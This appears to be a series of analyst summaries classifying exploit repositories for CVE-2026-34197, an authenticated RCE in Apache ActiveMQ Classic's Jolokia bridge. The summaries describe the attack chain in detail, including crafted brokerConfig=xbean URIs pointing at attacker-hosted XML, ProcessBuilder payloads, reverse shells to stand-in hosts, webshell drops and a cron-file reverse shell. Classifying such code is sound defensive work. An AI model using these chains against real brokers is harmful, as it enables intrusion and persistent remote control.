Authenticated RCE in Apache ActiveMQ Classic Jolokia JMX-HTTP Bridge

Repository contains a working Python exploit for CVE-2026-34197 against Apache ActiveMQ Classic via the Jolokia JMX-HTTP bridge. The top-level exploit_webshell.py is the main operational exploit: it checks Jolokia availability, optionally discovers the broker name, removes any existing NetworkConnector named NC for repeatability, starts a local HTTP server to host a malicious Spring XML payload, triggers addNetworkConnector(java.lang.String) with a crafted vm:// URI containing brokerConfig=xbean:http://ATTACKER:PORT/shell.xml, and then verifies that a JSP webshell was written into the ActiveMQ admin webapp. The JSP webshell executes arbitrary shell commands passed in the cmd parameter. The exploit embeds the JSP as base64 inside the XML so the target only needs one outbound fetch to retrieve shell.xml. Repository structure is small and focused: README.md documents the vulnerability, attack chain, affected versions, exploitation steps, and mitigation; exploit_webshell.py is the primary one-shot webshell dropper; upstream-poc/ contains an original PoC copy with docker-compose.yml for a vulnerable lab, exploit_poc.py for blind command execution in serve/exploit/auto modes, and serve_payload.py as a minimal XML payload server. Languages are primarily Python with YAML and Markdown support files. Main exploit capability is authenticated remote code execution over the network/web interface, contingent on exposed Jolokia and outbound HTTP reachability from the target to the attacker. The exploit targets ActiveMQ Classic versions before 5.19.4 and 6.0.0 through 6.2.2. It is not merely a detector; it delivers code execution and persistence via a dropped webshell. The code is operational rather than framework-based, with hardcoded exploit flow and simple payload customization.

Repository contains both an actual exploit and a separate defensive exposure checker. The main exploit is CVE-2026-34197.py, a standalone Python script targeting Apache ActiveMQ Classic through the Jolokia management API exposed under /api/jolokia/. It authenticates with supplied or environment-provided credentials, verifies Jolokia access via the version endpoint, enumerates broker MBeans using a Jolokia search request, and then issues a Jolokia EXEC request to invoke addNetworkConnector on the broker MBean. The crafted discovery URI uses vm://localhost?brokerConfig=xbean:{attacker_xml}, causing the broker to load attacker-controlled remote Spring XML. The included exploit.xml demonstrates the intended post-exploitation effect: a Spring bean using java.lang.ProcessBuilder to execute /bin/bash -c with a reverse shell to ATTACKER_IP on TCP/4444. The exploit also includes operational features such as TLS verification control, confirmation prompts, connector enumeration, and cleanup via removeNetworkConnector. The repository structure is small: one exploit script, one safe checker script, one malicious XML payload, a README, license, and CI/publishing workflows. The README emphasizes the checker as a defensive tool, but the repository clearly includes exploit-capable code and a working payload. The checker script activemq_cve_2026_34197_checker.py appears to be a read-only assessment utility that probes Jolokia exposure, version risk, and local configuration without invoking exec operations. Despite that defensive component, the repository overall should be classified as a real exploit repository because CVE-2026-34197.py and exploit.xml together provide actionable exploitation leading to remote command execution/reverse shell behavior.

Repository contains both an actual exploit and a separate defensive checker for CVE-2026-34197 affecting Apache ActiveMQ Classic. The main exploit file is CVE-2026-34197.py, a standalone Python script using requests to authenticate to an ActiveMQ web console, verify Jolokia access, enumerate the broker MBean, and invoke a Jolokia EXEC operation to add a NetworkConnector. The connector uses a discovery URI of the form vm://localhost?brokerConfig=xbean:<attacker_xml>, causing the broker to load attacker-controlled remote Spring XML. The included exploit.xml demonstrates code execution by instantiating java.lang.ProcessBuilder to run /bin/bash -c with a reverse shell to ATTACKER_IP:4444. The exploit also includes operational features such as credential prompting, optional insecure TLS mode, confirmation prompts, connector enumeration, and cleanup via removeNetworkConnector. This makes it more than a bare PoC: it is an operational exploit with a hardcoded sample payload. The repository also includes activemq_cve_2026_34197_checker.py, which is a read-only detection/exposure assessment tool that probes /api/jolokia/version, evaluates version ranges, optionally inspects local configuration, and emits JSON findings without invoking exec operations. README.md primarily documents the checker and emphasizes defensive use, but the repository clearly includes exploit capability via the separate Python exploit and malicious XML payload.

This repository is a small standalone proof-of-concept for CVE-2026-34197 affecting Apache ActiveMQ/ActiveMQ Classic. It is not tied to a major exploit framework. The repository contains 5 files: a detailed README describing the vulnerability and exploitation chain, a Python exploit (exploit_poc.py), a docker-compose lab definition for a vulnerable ActiveMQ 5.18.6 instance, a runtime broker log, and a Docker inspect output for the lab container. The main exploit logic is in exploit_poc.py. It implements three modes: serve, exploit, and auto. In serve mode it starts a local Python HTTP server that hosts a malicious Spring XML document at /evil.xml. In exploit mode it authenticates to the target Jolokia endpoint, optionally discovers the broker name via Jolokia read, and sends a Jolokia exec request against the ActiveMQ Broker MBean using addNetworkConnector(java.lang.String). The supplied connector string is a crafted VM transport URI containing brokerConfig=xbean:http://ATTACKER:PORT/evil.xml. In auto mode it combines both steps. The malicious XML defines a java.lang.ProcessBuilder bean with init-method=start, which causes arbitrary OS command execution when Spring initializes singleton beans. The code supports either argv-split commands or bash -c wrapping for more complex shell commands. Exploit capability is authenticated remote code execution over the network/web management interface. The target requirements are clearly visible in the code and README: exposed Jolokia at /api/jolokia/, valid credentials, vulnerable ActiveMQ versions, and outbound HTTP reachability from the broker to the attacker host serving evil.xml. The PoC demonstrates command execution by creating files in /tmp. Repository structure supports reproducible testing. docker-compose.yml launches apache/activemq-classic:5.18.6 with ports 8161 and 61616 exposed and admin password set to admin. activemq-rce.log and inspect.json provide evidence of the vulnerable environment, exposed services, Jolokia availability, and the broker attempting to fetch the remote XML payload. Overall, this is a credible operational PoC showing the full attack chain from Jolokia MBean invocation to remote Spring XML loading and command execution.

This repository is a small Python-based exploit lab for CVE-2026-34197 affecting Apache ActiveMQ Classic via the Jolokia JMX-HTTP API. It contains 7 files total: documentation, Docker lab definitions, and two Python scripts. The lab spins up two side-by-side containers using docker-compose: a vulnerable ActiveMQ Classic 5.19.3 instance (`vuln`) and a patched 5.19.4 instance (`patched`). Both Dockerfiles download ActiveMQ from archive.apache.org, expose the web console/Jolokia interface on port 8161, and map host ports 8081/8082 for comparison. The main exploit capability is in `poc/poc.py`. That script is a constrained but real RCE proof-of-concept: it starts a local HTTP server, serves a malicious Spring XML file at a randomized `/evil-<nonce>.xml` path, then sends a Jolokia `exec` request to the target Broker MBean `org.apache.activemq:type=Broker,brokerName=localhost` invoking `addNetworkConnector(java.lang.String)`. The supplied argument is a crafted discovery URI of the form `static:(vm://...?brokerConfig=xbean:http://<callback>/evil-<nonce>.xml)`, which causes a vulnerable broker to fetch attacker-controlled XML. The XML defines a `java.lang.ProcessBuilder` bean with `init-method="start"` that executes `/bin/sh -c 'id; whoami; sleep 5'`. The PoC is intentionally limited: it only allows local targets, uses a fixed command, and does not implement arbitrary command execution or exfiltration. It also includes cleanup logic to remove a default network connector before triggering the exploit. The repository also includes `poc/detect.py`, which is a non-exploit detection script. It checks `/api/jolokia/version`, handles authentication probing (including optional default credentials), extracts the ActiveMQ version, queries Jolokia for Broker MBean visibility, and classifies targets as likely vulnerable or not affected based on version ranges. This script does not invoke the dangerous broker operations and is clearly intended as a safer assessment tool. Overall, the repository is a legitimate exploit lab rather than a fake or destructive sample. It demonstrates the vulnerable code path, provides a safe detector, and includes a reproducible Docker environment for testing vulnerable versus patched behavior. The attack surface is network/web-based over HTTP(S) to Jolokia, with the exploit relying on authenticated access and the broker’s ability to retrieve remote Spring XML over HTTP.

This repository is a standalone Java Swing exploit toolkit for Apache ActiveMQ, not a Metasploit/Nuclei module. The project is Maven-based, with a single executable entry point in src/main/java/cc/kiiy/App.java that launches a GUI (MainFrame). The codebase is organized into service classes for exploitation/detection logic (EnvironmentService, VulnerabilityService), UI panels for each supported CVE and settings, and utility helpers for HTTP and local config handling. Core capability-wise, the tool supports both detection and exploitation. EnvironmentService fingerprints ActiveMQ by requesting the target URL and checking for the Apache ActiveMQ title, and can authenticate to /admin/ using HTTP Basic auth to extract hostname, version, and uptime from the admin console HTML. VulnerabilityService is the main exploit engine. For CVE-2015-5254, it accepts a user-provided Base64 serialized payload, decodes it, wraps it into an ActiveMQObjectMessage, and sends it over OpenWire/JMS to a chosen queue on tcp://<host>:<port> (default 61616), enabling broker-side deserialization when the message is processed/viewed. For CVE-2016-3088, it performs a PUT to /fileserver/<random>.txt and then a MOVE to file:///etc/cron.d/root, planting a cron entry that launches a Perl reverse shell back to the operator. This is a real exploitation path, not just a detector, but it depends on vulnerable behavior and elevated target privileges. The repository also includes support for CVE-2022-41678 workflows. Although the provided content truncates some of the implementation, the UI and service references clearly show functionality to write a default or custom webshell and then execute commands through it, with selectable methods such as auto, log4j2, and jfr. The included JfrTemplate.java contains a large embedded JFR configuration template, indicating one exploitation path abuses JFR-related file write/config behavior. BeanXmlPanel generates Spring BeanXML payloads using java.lang.ProcessBuilder for arbitrary command execution, likely intended to support XML-based ActiveMQ exploitation such as CVE-2023-46604-style xbean loading. The code also contains logic for a Jolokia-based probe labeled CVE-2026-34197 that sends an addNetworkConnector request with a vm://evil?brokerConfig=xbean:<xmlServer> argument, causing the target to fetch attacker-controlled XML from an external server. Network and fingerprintable artifacts are abundant: HTTP(S) access to the target web console and admin paths, OpenWire TCP access to port 61616, PUT/MOVE requests to /fileserver/, file destinations like file:///etc/cron.d/root, attacker XML hosting URLs, and Basic Authorization headers. The GUI exposes global custom headers and proxy settings, allowing the operator to tune requests and route traffic through a local proxy. Overall, this is an operational multi-CVE ActiveMQ exploitation toolkit with a GUI front end, combining reconnaissance, authenticated checks, payload generation, deserialization delivery, arbitrary file write abuse, XML-based RCE testing, and webshell management.

This repository is a small, self-contained ActiveMQ Jolokia RCE exploit kit consisting of a Python launcher (payload.py), a malicious Spring XML payload (payload.xml), and a README with setup and exploitation steps. The exploit targets Apache ActiveMQ installations exposing the Jolokia API and abuses the exec request against the org.apache.activemq Broker MBean to call addNetworkConnector. The supplied connector URI references an attacker-controlled xbean HTTP resource, causing the target to retrieve and parse payload.xml. That XML uses Spring's MethodInvokingFactoryBean to obtain java.lang.Runtime and invoke exec, demonstrating arbitrary command execution via a reverse shell. The Python script accepts a target host:port and attacker host:port, builds a POST request to http://<target>/api/jolokia/, sets JSON content headers, and randomizes the broker name to avoid JMX registration conflicts. The XML payload is static and operational rather than highly customizable, so the repository is best classified as an operational PoC exploit rather than a framework-integrated or weaponized tool. The main observable network behavior is an HTTP POST to the target Jolokia endpoint, an HTTP GET from the target to the attacker-hosted /payload.xml, and a reverse shell TCP connection from the target back to the attacker listener.

This repository is a small, functional proof-of-concept exploit for Apache ActiveMQ, targeting CVE-2024-32114 and the version range noted in the README as 6.0.0-6.1.1. The repository contains three files: a minimal README, a Python exploit script (poc.py), and a malicious Spring XML bean definition (evil.xml). The main exploit logic is in poc.py. It uses Python requests to send JSON POST requests to the target's Jolokia endpoint at /api/jolokia. First, it attempts cleanup by calling removeNetworkConnector("NC") on the ActiveMQ Broker MBean, likely to remove a leftover connector from prior runs. It then builds a malicious connector URI using the static:(vm://...) transport syntax with a brokerConfig=xbean: parameter pointing to an attacker-controlled URL hosting evil.xml. The script invokes addNetworkConnector(java.lang.String) on the same Broker MBean, causing the target to fetch and parse the remote XML. The evil.xml file contains a Spring beans definition that instantiates java.lang.ProcessBuilder with init-method="start". Its constructor arguments execute bash -c 'touch /tmp/pwned_RCE', demonstrating remote command execution by creating a file on the target system. This confirms the exploit is not merely a detector; it actively attempts RCE. The exploit is network/web-based because it abuses an exposed HTTP management interface. It appears operational rather than weaponized: it includes a working payload and attacker infrastructure reference, but customization is manual and minimal. Fingerprintable observables include the target ActiveMQ host and Jolokia endpoint, the attacker-hosted evil.xml URL, the malicious brokerConfig xbean URI pattern, and the created file path /tmp/pwned_RCE.

This repository is a standalone Python proof-of-concept exploit for alleged CVE-2026-34197, targeting Apache ActiveMQ Classic through the Jolokia HTTP API. The repository contains five files: a main exploit script (exploit.py), a malicious Spring XML template (payloads/template.xml), a Docker lab definition for a vulnerable ActiveMQ instance (docker/docker-compose.yml), a README with exploitation flow and usage examples, and a license file. The exploit’s core capability is authenticated or optionally unauthenticated remote code execution against exposed ActiveMQ web consoles. The Python script verifies access to the Jolokia endpoint, attempts to detect the broker name, starts a local HTTP server on an attacker-controlled host and port, generates or loads a Spring XML payload, and then triggers the target to fetch that XML via a crafted VM transport / XBean brokerConfig URI. The XML payload uses MethodInvokingFactoryBean to call java.lang.Runtime.getRuntime().exec() and execute an arbitrary shell command through /bin/bash -c. The README demonstrates simple command execution and reverse shell usage. Operationally, the exploit depends on the target reaching back to the attacker over HTTP to download /payload.xml. The main fingerprintable target endpoint is /api/jolokia/ on the ActiveMQ web console, typically exposed on TCP 8161. The lab environment also exposes 61616 (OpenWire) and 5672 (AMQP), though the exploit itself is centered on the web/Jolokia path. The repository is not part of a larger exploit framework; it is a self-contained PoC with a hardcoded but user-supplied command payload, making it best classified as OPERATIONAL rather than framework-weaponized.

This repository is a small standalone Python exploit for Apache ActiveMQ Classic RCE via the Jolokia API. It contains three files: a minimal README, the main exploit script exp.py, and a malicious Spring XML template payload.xml. The exploit is not part of a major framework. The core capability is remote command execution. The Python script accepts a target Jolokia base URL, attacker host/port, command to execute, optional credentials, a no-auth mode, and an optional broker name. It first verifies target reachability by requesting the Jolokia endpoint at /api/jolokia/. It then attempts to determine the broker name (the full implementation is truncated in the provided content, but main() clearly calls obtener_broker_name()). After that, it generates a malicious Spring XML payload that invokes java.lang.Runtime.getRuntime().exec() through MethodInvokingFactoryBean, wrapping the operator command in /bin/bash -c. The command is XML-escaped before insertion, which the README explicitly mentions as a fix for reverse shell reliability. Operationally, the script starts a local HTTP server using Python's http.server to host the XML payload and records whether the target fetched it. The exploit then abuses the Jolokia-exposed addNetworkConnector functionality to coerce ActiveMQ into loading attacker-controlled XML via xbean/vm-related configuration handling, resulting in code execution on the broker. This makes the exploit a practical operational PoC rather than a mere detector. Notable fingerprintable elements include the Jolokia endpoint /api/jolokia/, the local payload file payload.xml, the optional template path payloads/template.xml, and the Spring schema URLs embedded in the XML. The exploit requires network connectivity from the target broker back to the attacker-controlled HTTP server. Based on the code comments, it targets Apache ActiveMQ Classic versions < 5.19.4 and 6.0.0–6.2.2, with unauthenticated exploitation supported for 6.0.0–6.1.1 via CVE-2024-32114 conditions.

Repository is a small standalone Python proof-of-concept exploit for Apache ActiveMQ Classic RCE via the Jolokia API, identified in the repo as CVE-2026-34197. It is not part of a larger exploit framework. The main logic is in exploit.py, supported by a malicious Spring XML template in payloads/template.xml and a docker-compose lab for a vulnerable ActiveMQ 5.18.6 instance. Exploit flow: the script accepts a target URL, attacker host/port, command, and optional credentials. It first checks connectivity to the target Jolokia endpoint at /api/jolokia/, then attempts to determine the broker name. It starts a local HTTP server to host a generated XML payload. The payload is a Spring beans document that uses MethodInvokingFactoryBean to call java.lang.Runtime.getRuntime().exec() with /bin/bash -c <command>. The exploit then sends a Jolokia request invoking addNetworkConnector with a crafted vm:// URI containing brokerConfig=xbean:http://<attacker>:<port>/payload.xml. If successful, the target broker fetches the XML from the attacker server and executes the supplied command. Capabilities: authenticated or optionally unauthenticated remote code execution against exposed Jolokia, attacker-controlled command execution, and support for reverse-shell style commands if provided manually. The included HTTP server also gives a basic confirmation signal by logging when the target retrieves the XML payload. Repository structure: README.md documents the vulnerability, usage, indicators, and remediation; exploit.py is the operational PoC; payloads/template.xml is the reusable malicious XML template; docker/docker-compose.yml provides a local vulnerable test environment exposing ports 8161, 61616, and 5672. Overall, this is a real exploit PoC with a hardcoded but operator-supplied command payload, making it operational rather than merely demonstrative.

This repository is a compact proof-of-concept exploit for CVE-2026-34197 targeting Apache ActiveMQ Classic. It contains three files: a README with usage/output examples, a docker-compose lab that starts an ActiveMQ Classic 5.18.6 container exposing ports 8161 and 61616, and the main Python exploit script exploit_poc.py. The Python script implements a full exploit workflow rather than mere detection. It generates malicious Spring XML that instantiates java.lang.ProcessBuilder with init-method="start" to execute an attacker-supplied command. It can either pass command arguments directly or wrap them with bash -c for more complex shell syntax. The script also starts a local HTTP server to host this XML payload. For exploitation, the script authenticates to the target's Jolokia endpoint, optionally discovers the broker name via a wildcard MBean read, and then sends a Jolokia exec request to the ActiveMQ Broker MBean operation addNetworkConnector(java.lang.String). The supplied connector URI abuses the VM transport with brokerConfig=xbean:http://attacker/evil.xml so the target broker retrieves the attacker-hosted XML and processes it, leading to command execution. Operationally, the script supports three modes: serve (host payload only), exploit (send the Jolokia request only), and auto (host payload and trigger exploitation in one run). The exploit is network/web-based, requires reachable Jolokia plus valid credentials, and depends on the target being able to fetch the malicious XML from the attacker host. This is a real exploit PoC with an embedded command-execution payload, not a scanner or detection script.